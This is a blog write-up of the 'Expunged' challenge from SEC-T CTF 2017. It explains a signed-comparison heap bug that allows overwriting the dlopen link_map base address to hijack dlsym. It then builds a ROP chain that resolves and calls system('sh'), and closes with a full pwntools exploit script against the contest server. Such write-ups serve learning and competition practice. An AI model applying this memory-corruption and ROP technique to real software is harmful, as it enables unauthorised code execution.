SEC-T CTF 2017 Expunged Write Up

Solved by 4rbit3r

Thanks to the admins for conducting a great CTF. The challenges were really good. The only thing missing were the authors for some challenges who weren’t online for the most part of the CTF. But other than that, great CTF.

Our team managed to get into the 8th rank which is pretty much the first time that has happened in an international CTF.

So let’s move on to the challenge.

The binary given isn’t very hard to reverse engineer. The functionality offered is simple to understand.

The main function starts off by creating an array of 1024 bytes on the heap.

It then enters a while loop and asks us for an index.

If the index is lesser than 1024, we’re allowed to enter how many bytes we would like to input at that index.

It performs another check on the second input to make sure that there is no chance of a buffer overflow.

1

After that, it proceeds to read size bytes of input, storing them at offset bytes from the beginning of the array allocated on the heap.

Then, it just prints out the entire contents of the array and then goes on the execute the loop a second time.

At the beginning of the main function, the binary opens a shared object provided along with the challenge using dlopen.

And in the while loop, it calls dlsym with a pointer to “__nanosleep” as the second argument.

For those of you who don’t know what that does, dlopen loads the shared object into memory and dlsym just returns a pointer to the function that is present in the shared object.

The return value of dlsym is stored in a global pointer. This pointer is then invoked with an argument of 1.

All that basically translates to executing __nanosleep(1).

So, now onto the vulnerability.

The checking being done on the offset and the size are signed comparisons.

So that means, we can corrupt data that lies before the beginning of the array.

Since the array is never freed, and no further calls to malloc or free ever take place, I couldn’t think of a method to gain code execution by corrupting the metadata of the array.

However, if we inspect the heap at the point where data is being read into it, we can find that the array is located pretty far from the beginning of the heap.

2

The reason is that dlopen loads the shared object into memory and creates a linkmap structure on the heap.

3

4

The first 8 bytes of the linkmap structure is the base address of the shared object that has been loaded into memory.

Now, I wasn’t really sure that corrupting anything in the linkmap structure would be useful in gaining control over execution, but I had already looked over every other possible way to exploit that I could find and this was the only one left.

The offset of __nanosleep function in the given shared object is 0x10bf0 bytes. So I presumed that all that happens in dlsym is return base_address+0x10bf0.

Surprisingly, that is what happens. So I could overwrite 0x4141414141414141 in place of the base address and dlsym would return 0x4141414141414141+0x10bf0.

So using that I can execute any function that I want to, but the question then was identifying which function I wanted to execute.

I looked quite a bit for any chance of memory leaks, but couldn’t find any.

So, I decided to use the read_line function.

The RDI and RSI registers were already pointing to the stack. So ESI would be interpreted as a really large unsigned integer value. And there we have our buffer overflow.

Now all that’s left is to create a ROP chain to pop a shell.

I first tried to leak out the contents of the GOT table and then return to the read_line function again and create a ROP chain to execute system("/bin/sh").

But that kept failing for some reason. Probably because the output that I received from the server was a little different from what I got while running my exploit locally.

At this point, I handed over this challenge to @renorobert and decided to try the 300 point one. A few minutes later, I got a message saying that he fixed the exploit and got the flag as well. I’ll be explaining his method from here on.

We already have dlsym function present in the PLT table. Also there’s a call rax gadget present in the binary. So if we could fake a call to dlysm with the second argument being a pointer to “system”, we could chain that with the call to call rax.

dlsym requires the first argument to be the handle returned by dlopen. However, dlsym also accepts NULL in place of the handle. So, we can proceed with this method

The next task is to store the string “system” at some address in memory that we know. We use the read_line function here to perform a second read that will store the string “system” in the bss segment.

Now, the next issue was making sure that RDI points to “/bin/sh” when the call rax gadget is being invoked.

Now I could’ve just sent “/bin/sh” along with “system” and used a pop rdi gadget to point RDI to “/bin/sh”. But there’s an easier way.

The binary contains the string ‘fflush’. We use the pop rdi gadget to point RDI to the last two bytes of that string (“sh”).

And putting it all together, we get a shell.

Here’s the script

 
from pwn import *

bss = 0x602110
dlsym = 0x400870
sh_str = 0x400520
pop_rdi = 0x400e23
call_rax = 0x400B4D
readline = 0x400986
pop_rsi_r15 = 0x400e21
offset_to_base = -1760
offset_to_nanosleep = 0x10bf0


if __name__ == '__main__':
    if sys.argv[1] == 'local':
        p = process('./acidburn', env={"LD_PRELOAD":"./libc-2.23.so"})
    else:
        p = remote('pwn2.sect.ctf.rocks', 5555)

    p.sendlineafter('array: ', str(offset_to_base))
    p.sendlineafter('fill at', '6')
    p.sendlineafter('Enter input: ', p64(readline+9-offset_to_nanosleep))
    payload  = "A"*16 
    #
    # Set up call to readline to store "system" in bss
    #
    payload += p64(pop_rdi)
    payload += p64(bss+0x400)
    payload += p64(pop_rsi_r15)
    payload += p64(7)
    payload += p64(0)
    payload += p64(readline)
    #
    # Fake call to dlsym with rdi=0 and rsi=>"system"
    #
    payload += p64(pop_rdi)
    payload += p64(0)
    payload += p64(pop_rsi_r15)
    payload += p64(bss+0x400)
    payload += p64(0)
    payload += p64(dlsym)
    #
    # Set rdi to point to "sh"
    #
    payload += p64(pop_rdi)
    payload += p64(sh_str)
    #
    # Call system
    #
    payload += p64(call_rax)    
    #
    # Here we go
    #
    p.sendline(payload)
    p.sendline("system\x00")
    p.interactive()

And running it gives the flag : SECT{wh0a_hope_u_understand_how_dlsym_w0rks_now}

So I guess that was the intended solution. I love these kind of challenges that make you learn something new. The binary is very simple to understand, vulnerability is easy to spot. The main purpose of pwn challenges is to test the ability of the person to exploit the given situation rather than spending hours trying to reverse engineer and figure out the vulnerability.

Anyways, good job admins. We’ll be sure to play next year as well.

——————————————————————-
Update
——————————————————————-
The admins were kind enough to provide us with a license for Binary Ninja for this writeup. Thank’s a bunch guys. You rock!

One thought on “SEC-T CTF 2017 Expunged Write Up

Add yours

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Blog at WordPress.com.

Up ↑

%d bloggers like this: